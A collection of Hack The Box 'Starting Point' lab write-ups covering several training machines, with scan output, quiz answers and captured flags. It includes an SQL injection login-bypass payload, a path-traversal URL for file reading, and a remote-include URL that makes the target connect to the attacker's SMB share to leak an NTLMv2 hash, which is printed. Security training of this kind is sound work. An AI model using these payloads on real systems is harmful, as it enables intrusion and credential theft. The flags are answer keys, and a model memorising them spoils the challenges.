OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C 85 | OS:D=S) 86 | 87 | Network Distance: 2 hops 88 | 89 | OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 90 | Nmap done: 1 IP address (1 host up) scanned in 35.90 seconds 91 | 92 | ``` 93 | 94 | ## Visiting the web-page 95 | 96 | ![pre-1](https://user-images.githubusercontent.com/87711310/213871156-b37a5587-a092-450c-9ce6-2d5b1013aa90.png) 97 | 98 | ## Brute-forcing directories 99 | 100 | ``` 101 | ┌──(darshan㉿kali)-[~] 102 | └─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.129.37.125 103 | =============================================================== 104 | Gobuster v3.1.0 105 | by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) 106 | =============================================================== 107 | [+] Url: http://10.129.37.125 108 | [+] Method: GET 109 | [+] Threads: 10 110 | [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 111 | [+] Negative Status codes: 404 112 | [+] User Agent: gobuster/3.1.0 113 | [+] Timeout: 10s 114 | =============================================================== 115 | 2023/01/21 09:21:06 Starting gobuster in directory enumeration mode 116 | =============================================================== 117 | admin.php 118 | ``` 119 | 120 | ## Visiting Adming page and retrieving flag 121 | 122 | ![pre-2](https://user-images.githubusercontent.com/87711310/213871161-4b9d9c03-f6ac-483f-b5b1-8aed27f94c69.png) 123 | 124 | -------------------------------------------------------------------------------- /Starting Point/Tier 0/7. Mongod/Readme.md: -------------------------------------------------------------------------------- 1 | # Mongod 2 | 3 | ## Questions 4 | 5 | ##### How many TCP ports are open on the machine? 6 | 7 | ``` 8 | 2 9 | ``` 10 | 11 | ##### Which service is running on port 27017 of the remote host? 12 | 13 | ``` 14 | MongoDB 3.6.8 15 | ``` 16 | 17 | ##### What type of database is MongoDB? (Choose: SQL or NoSQL) 18 | 19 | ``` 20 | NoSQL 21 | ``` 22 | 23 | ##### What is the command name for the Mongo shell that is installed with the mongodb-clients package? 24 | 25 | ``` 26 | mongo 27 | ``` 28 | 29 | ##### What is the command used for listing all the databases present on the MongoDB server? (No need to include a trailing ;) 30 | 31 | ``` 32 | show dbs 33 | ``` 34 | 35 | ##### What is the command used for listing out the collections in a database? (No need to include a trailing ;) 36 | 37 | ``` 38 | show collections 39 | ``` 40 | 41 | ##### What is the command used for dumping the content of all the documents within the collection named flag in a format that is easy to read? 42 | 43 | ``` 44 | db.flag.find().pretty() 45 | ``` 46 | 47 | ##### Submit root flag 48 | 49 | ``` 50 | 1b6e6fb359e7c40241b6d431427ba6ea 51 | ``` 52 | 53 | ## Commands 54 | 55 | ### Scan 56 | 57 | ``` 58 | ┌──(darshan㉿kali)-[~] 59 | └─$ nmap -sV -p- 10.129.145.116 --min-rate 5000 60 | Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-21 09:49 EST 61 | Nmap scan report for 10.129.145.116 62 | Host is up (0.12s latency). 63 | Not shown: 65523 closed tcp ports (conn-refused) 64 | PORT STATE SERVICE VERSION 65 | 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 66 | 15297/tcp filtered unknown 67 | 18249/tcp filtered unknown 68 | 27017/tcp open mongodb MongoDB 3.6.8 69 | 35313/tcp filtered unknown 70 | 39092/tcp filtered unknown 71 | 45369/tcp filtered unknown 72 | 49424/tcp filtered unknown 73 | 49545/tcp filtered unknown 74 | 50172/tcp filtered unknown 75 | 50609/tcp filtered unknown 76 | 53331/tcp filtered unknown 77 | Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 78 | 79 | Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 80 | Nmap done: 1 IP address (1 host up) scanned in 27.41 seconds 81 | 82 | ``` 83 | 84 | ### MongoDB 85 | ``` 86 | ┌──(darshan㉿kali)-[~] 87 | └─$ sudo apt install mongodb 88 | ``` 89 | 90 | ``` 91 | ┌──(darshan㉿kali)-[~] 92 | └─$ mongo mongodb://10.129.143.75:27017 93 | MongoDB shell version v6.0.1 94 | connecting to: mongodb://10.129.143.75:27017/?compressors=disabled&gssapiServiceName=mongodb 95 | compressors=disabled&gssapiServiceName=mongodb 96 | Implicit session: session { "id" : UUID("d732a698-b4ef-42d3-b3ae-d608e4802c33") } 97 | MongoDB server version: 3.6.8 98 | WARNING: shell and server versions do not match 99 | ================ 100 | Warning: the "mongo" shell has been superseded by "mongosh", 101 | which delivers improved usability and compatibility.The "mongo" shell has been deprecated and will be removed in 102 | an upcoming release. 103 | For installation instructions, see 104 | https://docs.mongodb.com/mongodb-shell/install/ 105 | ================ 106 | Welcome to the MongoDB shell. 107 | For interactive help, type "help". 108 | For more comprehensive documentation, see 109 | https://docs.mongodb.com/ 110 | Questions? Try the MongoDB Developer Community Forums 111 | https://community.mongodb.com 112 | --- 113 | The server generated these startup warnings when booting: 114 | 2022-10-08T14:49:44.575+0000 I STORAGE [initandlisten] 115 | 2022-10-08T14:49:44.575+0000 I STORAGE [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine 116 | 2022-10-08T14:49:44.575+0000 I STORAGE [initandlisten] ** See http://dochub.mongodb.org/core/prodnotes-filesystem 117 | 2022-10-08T14:49:48.017+0000 I CONTROL [initandlisten] 118 | 2022-10-08T14:49:48.017+0000 I CONTROL [initandlisten] ** WARNING: Access control is not enabled for the database. 119 | 2022-10-08T14:49:48.017+0000 I CONTROL [initandlisten] ** Read and write access to data and configuration is unrestricted. 120 | 2022-10-08T14:49:48.017+0000 I CONTROL [initandlisten] 121 | --- 122 | 123 | ``` 124 | 125 | ``` 126 | > show dbs 127 | admin 0.000GB 128 | config 0.000GB 129 | local 0.000GB 130 | sensitive_information 0.000GB 131 | users 0.000GB 132 | 133 | ``` 134 | 135 | 136 | ``` 137 | > use sensitive_information 138 | switched to db sensitive_information 139 | ``` 140 | 141 | ``` 142 | > show collections 143 | flag 144 | ``` 145 | 146 | ``` 147 | > db.flag.find().pretty() 148 | { 149 | "_id" : ObjectId("630e3dbcb82540ebbd1748c5"), 150 | "flag" : "1b6e6fb359e7c40241b6d431427ba6ea" 151 | } 152 | 153 | ``` 154 | -------------------------------------------------------------------------------- /Starting Point/Tier 0/8. Synced/Readme.md: -------------------------------------------------------------------------------- 1 | # Synced 2 | 3 | ## Questions 4 | 5 | ##### What is the default port for rsync? 6 | 7 | ``` 8 | 873 9 | ``` 10 | 11 | ##### How many TCP ports are open on the remote host? 12 | 13 | ``` 14 | 1 15 | ``` 16 | 17 | ##### What is the protocol version used by rsync on the remote machine? 18 | 19 | ``` 20 | 31 21 | ``` 22 | 23 | ##### What is the most common command name on Linux to interact with rsync? 24 | 25 | ``` 26 | rsync 27 | ``` 28 | 29 | ##### What credentials do you have to pass to rsync in order to use anonymous authentication? anonymous:anonymous, anonymous, None, rsync:rsync 30 | 31 | ``` 32 | None 33 | ``` 34 | 35 | ##### What is the option to only list shares and files on rsync? (No need to include the leading -- characters) 36 | 37 | ``` 38 | list-only 39 | ``` 40 | 41 | ##### Submit root flag 42 | 43 | ``` 44 | 72eaf5344ebb84908ae543a719830519 45 | ``` 46 | 47 | ## Command 48 | 49 | ### Scan 50 | 51 | ``` 52 | ┌──(darshan㉿kali)-[~] 53 | └─$ nmap -v -p- 10.129.228.37 --min-rate 5000 54 | Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-04 11:01 CET 55 | Initiating Ping Scan at 11:01 56 | Scanning 10.129.228.37 [2 ports] 57 | Completed Ping Scan at 11:01, 0.12s elapsed (1 total hosts) 58 | Initiating Parallel DNS resolution of 1 host. at 11:01 59 | Completed Parallel DNS resolution of 1 host. at 11:01, 0.03s elapsed 60 | Initiating Connect Scan at 11:01 61 | Scanning 10.129.228.37 [65535 ports] 62 | ... 63 | Discovered open port 873/tcp on 10.129.228.37 64 | ... 65 | PORT STATE SERVICE VERSION 66 | 873/tcp open rsync (protocol version 31) 67 | 68 | Read data files from: /usr/bin/../share/nmap 69 | Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 70 | Nmap done: 1 IP address (1 host up) scanned in 10.47 seconds 71 | ``` 72 | 73 | ``` 74 | rsync rsync://10.129.228.37 75 | public Anonymous Share 76 | ``` 77 | 78 | ``` 79 | rsync rsync://10.129.228.37/public 80 | drwxr-xr-x 4.096 2022/10/25 00:02:23 . 81 | -rw-r--r-- 33 2022/10/24 23:32:03 flag.txt 82 | ``` 83 | 84 | ``` 85 | cat flag.txt 86 | 72eaXXXXXXXXXXXXXXXXXXXXXXXXXXXX 87 | ``` 88 | -------------------------------------------------------------------------------- /Starting Point/Tier 0/Readme.md: -------------------------------------------------------------------------------- 1 | # Tier 0 2 | -------------------------------------------------------------------------------- /Starting Point/Tier 2/1. Archetype/Readme.md: -------------------------------------------------------------------------------- 1 | ## Recconaissance 2 | 3 | Kicking off with the good ol' nmap scan. 4 | -------------------------------------------------------------------------------- /Starting Point/Tier-1/1. Appointment/Readme.md: -------------------------------------------------------------------------------- 1 | ## Reconnaissance 2 | 3 | Kicking off with a simple Nmap scan... 4 | 5 | __Nmap Scan__ 6 | ``` 7 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/three] 8 | └─$ sudo nmap -sC -sV -oN nmap.txt 10.129.92.59 9 | Nmap scan report for 10.129.92.59 10 | Host is up (0.017s latency). 11 | Not shown: 65534 closed tcp ports (reset) 12 | PORT STATE SERVICE VERSION 13 | 80/tcp open http Apache httpd 2.4.38 ((Debian)) 14 | |_http-title: Login 15 | |_http-favicon: Unknown favicon MD5: 7D4140C76BF7648531683BFA4F7F8C22 16 | | http-methods: 17 | |_ Supported Methods: GET HEAD POST OPTIONS 18 | |_http-server-header: Apache/2.4.38 (Debian) 19 | 20 | Read data files from: /usr/bin/../share/nmap 21 | Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 22 | # Nmap done at Sun Jan 17 19:49:07 2022 -- 1 IP address (1 host up) scanned in 18.30 seconds 23 | ``` 24 | 25 | 26 | On visiting the web-site I see a login. I tried common passwords (admmin:admin, admin:password, etc) but it didn't work. 27 | 28 | So, I guess, I'll have to use some kind of injection technique to bypass the login page. 29 | 30 | Firstly, i tried SQL Injection and it gave me an `SQL` error, so I was pretty sure that the authentication form is vulnerable to SQL injection. So I tried various SQL paylaods to bypass theh authentication page and the one that finally worked was 31 | ``` 32 | username: admin' or '1'='1'# 33 | password: 34 | ``` 35 | 36 | Once, you're logged in, you get the flag to complete the exercise. 37 | -------------------------------------------------------------------------------- /Starting Point/Tier-1/10. Tactics/Readme.md: -------------------------------------------------------------------------------- 1 | ## Reconnaissance 2 | 3 | Kicking off with a simple Nmap scan... 4 | 5 | __Nmap Scan__ 6 | ``` 7 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/Tactics] 8 | └─$ sudo nmap -sC -sV -O -oN nmap.txt 10.129.36.78 9 | [sudo] password for darshan: 10 | Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-25 13:31 EST 11 | Nmap scan report for 10.129.36.78 12 | Host is up (0.18s latency). 13 | Not shown: 997 filtered tcp ports (no-response) 14 | PORT STATE SERVICE VERSION 15 | 135/tcp open msrpc Microsoft Windows RPC 16 | 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 17 | 445/tcp open microsoft-ds? 18 | Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 19 | Device type: specialized|router|broadband router|proxy server|webcam|terminal|printer 20 | Running (JUST GUESSING): AVtech embedded (98%), Linksys embedded (95%), OneAccess embedded (95%), Blue Coat embedded (95%), Polycom pSOS 1.X (95%), Wyse ThinOS 5.X (95%), Ricoh embedded (90%) 21 | OS CPE: cpe:/h:oneaccess:1641 cpe:/h:bluecoat:packetshaper cpe:/o:polycom:psos:1.0.4 cpe:/o:wyse:thinos:5.2 cpe:/h:ricoh:aficio_sp_c240sf 22 | Aggressive OS guesses: AVtech Room Alert 26W environmental monitor (98%), Linksys BEFSR41 EtherFast router (95%), OneAccess 1641 router (95%), Blue Coat PacketShaper appliance (95%), Polycom MGC-25 videoconferencing system (pSOS 1.0.4) (95%), Wyse ThinOS 5.2 (95%), Ricoh Aficio SP C240SF printer (90%) 23 | No exact OS matches for host (test conditions non-ideal). 24 | Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows 25 | 26 | Host script results: 27 | | smb2-time: 28 | | date: 2023-01-25T18:33:40 29 | |_ start_date: N/A 30 | | smb2-security-mode: 31 | | 3.1.1: 32 | |_ Message signing enabled but not required 33 | |_clock-skew: 2s 34 | 35 | OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 36 | Nmap done: 1 IP address (1 host up) scanned in 137.29 seconds 37 | ``` 38 | 39 | Since I got 40 | 41 | From the results of the nmap scan, I could conclude that the machine is running the `Windows` and the `Server Message Block (SMB)` service on port `445`. Along with that, port `135` was running RPC service and port `139` was running `NetBIOS` 42 | 43 | Out of all the services running, I found SMB the most useful one to enumerate and started enumerating it. 44 | 45 | I used smbclient to enumerate this service. 46 | 47 | ``` 48 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/Tactics] 49 | └─$ smbclient -L 10.129.36.78 -U Administrator 50 | Password for [WORKGROUP\Administrator]: 51 | 52 | Sharename Type Comment 53 | --------- ---- ------- 54 | ADMIN$ Disk Remote Admin 55 | C$ Disk Default share 56 | IPC$ IPC Remote IPC 57 | Reconnecting with SMB1 for workgroup listing. 58 | ``` 59 | 60 | I found `ADMIN$` share interesting, and went on to check it out. 61 | 62 | ``` 63 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/Tactics] 64 | └─$ smbclient \\\\10.129.36.78\\ADMIN$ -U Administrator 65 | Password for [WORKGROUP\Administrator]: 66 | Try "help" to get a list of possible commands. 67 | smb: \> help 68 | ? allinfo altname archive backup 69 | blocksize cancel case_sensitive cd chmod 70 | chown close del deltree dir 71 | du echo exit get getfacl 72 | geteas hardlink help history iosize 73 | lcd link lock lowercase ls 74 | l mask md mget mkdir 75 | more mput newer notify open 76 | posix posix_encrypt posix_open posix_mkdir posix_rmdir 77 | posix_unlink posix_whoami print prompt put 78 | pwd q queue quit readlink 79 | rd recurse reget rename reput 80 | rm rmdir showacls setea setmode 81 | scopy stat symlink tar tarmode 82 | timeout translate unlock volume vuid 83 | wdel logon listconnect showconnect tcon 84 | tdis tid utimes logoff .. 85 | ! 86 | 87 | ``` 88 | 89 | but there was nothing I could do, so I decided to visit the `C:` directory. 90 | 91 | ``` 92 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/Tactics] 93 | └─$ smbclient \\\\10.129.36.78\\C$ -U Administrator 94 | Password for [WORKGROUP\Administrator]: 95 | Try "help" to get a list of possible commands. 96 | smb: \> dir 97 | $Recycle.Bin DHS 0 Wed Apr 21 11:23:49 2021 98 | Config.Msi DHS 0 Wed Jul 7 14:04:56 2021 99 | Documents and Settings DHSrn 0 Wed Apr 21 11:17:12 2021 100 | pagefile.sys AHS 738197504 Wed Jan 25 13:31:10 2023 101 | PerfLogs D 0 Sat Sep 15 03:19:00 2018 102 | Program Files DR 0 Wed Jul 7 14:04:24 2021 103 | Program Files (x86) D 0 Wed Jul 7 14:03:38 2021 104 | ProgramData DH 0 Tue Sep 13 12:27:53 2022 105 | Recovery DHSn 0 Wed Apr 21 11:17:15 2021 106 | System Volume Information DHS 0 Wed Apr 21 11:34:04 2021 107 | Users DR 0 Wed Apr 21 11:23:18 2021 108 | Windows D 0 Wed Jul 7 14:05:23 2021 109 | 110 | 3774463 blocks of size 4096. 1156383 blocks available 111 | smb: \> cd Users\Administrator\Desktop 112 | dir 113 | smb: \Users\Administrator\Desktop\> dir 114 | . DR 0 Thu Apr 22 03:16:03 2021 115 | .. DR 0 Thu Apr 22 03:16:03 2021 116 | desktop.ini AHS 282 Wed Apr 21 11:23:32 2021 117 | flag.txt A 32 Fri Apr 23 05:39:00 2021 118 | get flag. 119 | 3774463 blocks of size 4096. 1156383 blocks available 120 | smb: \Users\Administrator\Desktop\> get flag.txt 121 | getting file \Users\Administrator\Desktop\flag.txt of size 32 as flag.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec) 122 | ``` 123 | 124 | Once I visited the `C` share, I could see that flag, I pivoted into the directory and obtained the flag 125 | 126 | ``` 127 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/Tactics] 128 | └─$ cat flag.txt 129 | [REDACTED] 130 | ``` 131 | 132 | -------------------------------------------------------------------------------- /Starting Point/Tier-1/2. Sequel/Readme.md: -------------------------------------------------------------------------------- 1 | ## Reconnaissance 2 | 3 | Kicking off with a simple Nmap scan... 4 | 5 | __Nmap Scan__ 6 | ``` 7 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/sequel] 8 | └─$ sudo nmap -sC -sV -oN nmap.txt 10.129.94.61 9 | Nmap scan report for 10.129.94.61 10 | Host is up (0.021s latency). 11 | Not shown: 65534 closed tcp ports (reset) 12 | PORT STATE SERVICE VERSION 13 | 3306/tcp open mysql? 14 | |_sslv2: ERROR: Script execution failed (use -d to debug) 15 | | mysql-info: 16 | | Protocol: 10 17 | | Version: 5.5.5-10.3.27-MariaDB-0+deb10u1 18 | | Thread ID: 66 19 | | Capabilities flags: 63486 20 | | Some Capabilities: Support41Auth, SupportsTransactions, SupportsLoadDataLocal, Speaks41ProtocolOld, InteractiveClient, DontAllowDatabaseTableColumn, LongColumnFlag, IgnoreSigpipes, Speaks41ProtocolNew, FoundRows, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, ODBCClient, SupportsCompression, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins 21 | | Status: Autocommit 22 | | Salt: v`]3#Ubp*|Vy~/jLy@p5 23 | |_ Auth Plugin Name: mysql_native_password 24 | |_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug) 25 | |_ssl-cert: ERROR: Script execution failed (use -d to debug) 26 | |_tls-alpn: ERROR: Script execution failed (use -d to debug) 27 | |_ssl-date: ERROR: Script execution failed (use -d to debug) 28 | 29 | Read data files from: /usr/bin/../share/nmap 30 | Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 31 | # Nmap done at Sun Jan 17 20:29:33 2022 -- 1 IP address (1 host up) scanned in 212.46 seconds 32 | ``` 33 | 34 | There was SQL server running on the machine and we can connect to the SQL server with the `root` user without password to retrive the flag. 35 | 36 | ```sql 37 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/sequel] 38 | └─$ mysql -h 10.129.94.61 -u root 39 | ... 40 | MariaDB [(none)]> SHOW DATABASES; 41 | +--------------------+ 42 | | Database | 43 | +--------------------+ 44 | | htb | 45 | | information_schema | 46 | | mysql | 47 | | performance_schema | 48 | +--------------------+ 49 | 4 rows in set (0.019 sec) 50 | 51 | MariaDB [(none)]> USE htb; 52 | Reading table information for completion of table and column names 53 | You can turn off this feature to get a quicker startup with -A 54 | 55 | Database changed 56 | MariaDB [htb]> SHOW TABLES; 57 | +---------------+ 58 | | Tables_in_htb | 59 | +---------------+ 60 | | config | 61 | | users | 62 | +---------------+ 63 | 2 rows in set (0.017 sec) 64 | 65 | MariaDB [htb]> SELECT * FROM config; 66 | +----+-----------------------+----------------------------------+ 67 | | id | name | value | 68 | +----+-----------------------+----------------------------------+ 69 | | 1 | timeout | 60s | 70 | | 2 | security | default | 71 | | 3 | auto_logon | false | 72 | | 4 | max_size | 2M | 73 | | 5 | flag | edited | 74 | | 6 | enable_uploads | false | 75 | | 7 | authentication_method | radius | 76 | +----+-----------------------+----------------------------------+ 77 | 7 rows in set (0.016 sec) 78 | ``` 79 | 80 | You can retrieve the `flag` from the `flag` parameter of the `config` table to complete the task. 81 | -------------------------------------------------------------------------------- /Starting Point/Tier-1/3. Crocodile/Readme.md: -------------------------------------------------------------------------------- 1 | ## Reconnaissance 2 | 3 | Kicking off with a simple Nmap scan... 4 | 5 | __Nmap Scan__ 6 | ``` 7 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/crocodile] 8 | └─$ sudo nmap -sC -sV -oN nmap.txt 10.129.10.200 9 | [sudo] password for darshan: 10 | Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-17 09:02 EST 11 | Nmap scan report for 10.129.10.200 12 | Host is up (0.016s latency). 13 | Not shown: 65533 closed tcp ports (reset) 14 | PORT STATE SERVICE VERSION 15 | 21/tcp open ftp vsftpd 3.0.3 16 | | ftp-anon: Anonymous FTP login allowed (FTP code 230) 17 | | -rw-r--r-- 1 ftp ftp 33 Jun 08 2021 allowed.userlist 18 | |_-rw-r--r-- 1 ftp ftp 62 Apr 20 2021 allowed.userlist.passwd 19 | | ftp-syst: 20 | | STAT: 21 | | FTP server status: 22 | | Connected to ::ffff:10.10.14.190 23 | | Logged in as ftp 24 | | TYPE: ASCII 25 | | No session bandwidth limit 26 | | Session timeout in seconds is 300 27 | | Control connection is plain text 28 | | Data connections will be plain text 29 | | At session startup, client count was 2 30 | | vsFTPd 3.0.3 - secure, fast, stable 31 | |_End of status 32 | 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 33 | | http-methods: 34 | |_ Supported Methods: GET POST OPTIONS HEAD 35 | |_http-favicon: Unknown favicon MD5: 1248E68909EAE600881B8DB1AD07F356 36 | |_http-title: Smash - Bootstrap Business Template 37 | |_http-server-header: Apache/2.4.41 (Ubuntu) 38 | Service Info: OS: Unix 39 | 40 | Read data files from: /usr/bin/../share/nmap 41 | Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 42 | # Nmap done at Sun Jan 17 21:18:36 2022 -- 1 IP address (1 host up) scanned in 19.01 seconds 43 | ``` 44 | 45 | We can connect `anonymously` to the `FTP` server and retrieve the two files: 46 | ``` 47 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/crocodile] 48 | └─$ ftp 10.129.85.38 49 | Connected to 10.129.85.38. 50 | 220 (vsFTPd 3.0.3) 51 | Name (10.129.85.38:noraj): anonymous 52 | 230 Login successful. 53 | Remote system type is UNIX. 54 | Using binary mode to transfer files. 55 | ftp> ls 56 | 200 PORT command successful. Consider using PASV. 57 | 150 Here comes the directory listing. 58 | -rw-r--r-- 1 ftp ftp 33 Jun 08 2021 allowed.userlist 59 | -rw-r--r-- 1 ftp ftp 62 Apr 20 2021 allowed.userlist.passwd 60 | 226 Directory send OK. 61 | ftp> get allowed.userlist 62 | 200 PORT command successful. Consider using PASV. 63 | 150 Opening BINARY mode data connection for allowed.userlist (33 bytes). 64 | 226 Transfer complete. 65 | 33 bytes received in 7.6e-05 seconds (424 kbytes/s) 66 | ftp> get allowed.userlist.passwd 67 | 200 PORT command successful. Consider using PASV. 68 | 150 Opening BINARY mode data connection for allowed.userlist.passwd (62 bytes). 69 | 226 Transfer complete. 70 | 62 bytes received in 0.00109 seconds (55.3 kbytes/s) 71 | ftp> quit 72 | 221 Goodbye. 73 | ``` 74 | 75 | Those are a list of users and a list of passwords: 76 | ``` 77 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/crocodile] 78 | └─$ cat allowed.userlist 79 | aron 80 | pwnmeow 81 | egotisticalsw 82 | admin 83 | ``` 84 | 85 | ``` 86 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/crocodile] 87 | └─$ cat allowed.userlist.passwd 88 | root 89 | Supersecretpassword1 90 | @BaASD&9032123sADS 91 | rKXM59ESxesUFHAd 92 | ``` 93 | 94 | Since, there was a web-server running on port 80, I checked it out next. 95 | 96 | I used Wappalyzer, to find out the technology stack the website was using since I didn't find anything useful from the web-site and it's source-code. 97 | 98 | From the output of Wappalyzer, we can note some of the more interesting items, specifically the PHP programming language used to build the web page. However, nothing gives us a direct plan of attack for now. 99 | 100 | Now, I decide to run gobuster to further enumerate directories. 101 | 102 | ``` 103 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/three] 104 | └─$ sudo gobuster dir -u 10.129.10.200 -w dirbuster/directory-list-2.3-small.txt -x php,html 105 | [sudo] password for mrdev: 106 | =============================================================== 107 | Gobuster v3.1.0 108 | by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) 109 | =============================================================== 110 | [+] Url: http://10.129.10.200 111 | [+] Method: GET 112 | [+] Threads: 10 113 | [+] Wordlist: dirbuster/directory-list-2.3-small.txt 114 | [+] Negative Status codes: 404 115 | [+] User Agent: gobuster/3.1.0 116 | [+] Extensions: html,php 117 | [+] Timeout: 10s 118 | =============================================================== 119 | 2021/12/24 16:44:16 Starting gobuster in directory enumeration mode 120 | =============================================================== 121 | /index.html (Status: 200) [Size: 58565] 122 | /login.php (Status: 200) [Size: 1577] 123 | /assets (Status: 301) [Size: 315] [--> http://10.129.57.249/assets/] 124 | /css (Status: 301) [Size: 312] [--> http://10.129.57.249/css/] 125 | /js (Status: 301) [Size: 311] [--> http://10.129.57.249/js/] 126 | /logout.php (Status: 302) [Size: 0] [--> login.php] 127 | /config.php (Status: 200) [Size: 0] 128 | /fonts (Status: 301) [Size: 314] [--> http://10.129.57.249/fonts/] 129 | /dashboard (Status: 301) [Size: 318] [--> http://10.129.57.249/dashboard/] 130 | Progress: 41064 / 262995 (15.61%) ^C 131 | 132 | [!] Keyboard interrupt detected, terminating. 133 | =============================================================== 134 | 2021/12/24 17:05:00 Finished 135 | =============================================================== 136 | 137 | ``` 138 | 139 | One of the most interesting files gobuster retrieved is the `/login.php` page. Navigating manually to the URL, in the form of `http://10.129.57.249/login.php`, we are met with a login page asking for a `username/password` combination. 140 | 141 | ![croc-1](https://user-images.githubusercontent.com/87711310/214600894-ff0948d9-0a0b-454c-8fb3-0f2be4730e6e.png) 142 | 143 | After attempting several `username/password` combinations from the list of usernames and passwords given, I manage to log in and met with a Server Manager admin panel. Once here, an attacker could manipulate the website in whichever way they desired, causing havoc for the userbase and owners, or extracting more information that would assist them with gaining a foothold on the servers hosting the web page. 144 | 145 | However, for me, I was displayed the flag to complete this challenge. 146 | -------------------------------------------------------------------------------- /Starting Point/Tier-1/4. Responder/Readme.md: -------------------------------------------------------------------------------- 1 | ## Reconnaissance 2 | 3 | Kicking off with a simple Nmap scan... 4 | 5 | __Nmap Scan__ 6 | ``` 7 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/responder] 8 | └─$ sudo nmap -sC -sV -oN nmap.txt 10.129.79.102 9 | Nmap scan report for 10.129.79.102 10 | Host is up (0.020s latency). 11 | Not shown: 65532 filtered tcp ports (no-response) 12 | PORT STATE SERVICE VERSION 13 | 80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1) 14 | |_http-title: Site doesn't have a title (text/html; charset=UTF-8). 15 | | http-methods: 16 | |_ Supported Methods: GET HEAD POST OPTIONS 17 | |_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1 18 | 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 19 | |_http-title: Not Found 20 | |_http-server-header: Microsoft-HTTPAPI/2.0 21 | 7680/tcp open pando-pub? 22 | Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows 23 | 24 | Read data files from: /usr/bin/../share/nmap 25 | Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 26 | # Nmap done at Mon Jan 18 14:40:05 2022 -- 1 IP address (1 host up) scanned in 156.59 seconds 27 | ``` 28 | 29 | Before visiting the website, I used cURL, which showed me that the website is redirecting us to a local domain. 30 | ``` 31 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/responder] 32 | └─$ curl http://10.129.79.102 33 | 34 | ``` 35 | 36 | So, i decided to add the entry to my `/etc/hosts` file 37 | ``` 38 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/responder] 39 | └─$ grep unika.htb /etc/hosts 40 | 10.129.79.102 unika.htb 41 | ``` 42 | 43 | There is a page on the website that allows the user to change language: `http://unika.htb/index.php?page=french.html` 44 | 45 | We can confirm `LFI` by requiring the host file on Windows: 46 | ``` 47 | http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts 48 | ``` 49 | 50 | It is also possible to `RFI`. 51 | 52 | On a Windows machine we can require a SMB share we own to make `NetNTLMv2` challenge answers leak and capture them with Responder. 53 | 54 | So, I turned on my responder 55 | ``` 56 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/responder] 57 | └─$ sudo responder -I tun0 58 | ``` 59 | 60 | Force the target to visit my SMB server: 61 | ``` 62 | http://unika.htb/index.php?page=//10.10.14.192/darshan 63 | ``` 64 | 65 | And I've successfully captured one: 66 | ``` 67 | [SMB] NTLMv2-SSP Client : ::ffff:10.129.79.102 68 | [SMB] NTLMv2-SSP Username : RESPONDER\Administrator 69 | [SMB] NTLMv2-SSP Hash : Administrator::RESPONDER:a14c9f9bcf28d2d6:B31A2A081245A35E2A380BDB21E00167:0101000000000000802C21C93B53D801AA24A32512B226C10000000002000800380051004B004F0001001E00570049004E002D00320038003100440053004B003500560049005300330004003400570049004E002D00320038003100440053004B00350056004900530033002E00380051004B004F002E004C004F00430041004C0003001400380051004B004F002E004C004F00430041004C0005001400380051004B004F002E004C004F00430041004C0007000800802C21C93B53D80106000400020000000800300030000000000000000100000000200000170161A6F5FB1FE597B7FEFA4AB248801DFD17D85746DE42F3D416E0C4C9ACA60A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100390032000000000000000000 70 | ``` 71 | 72 | Now, I simply used `John the ripper` to crack the hash 73 | 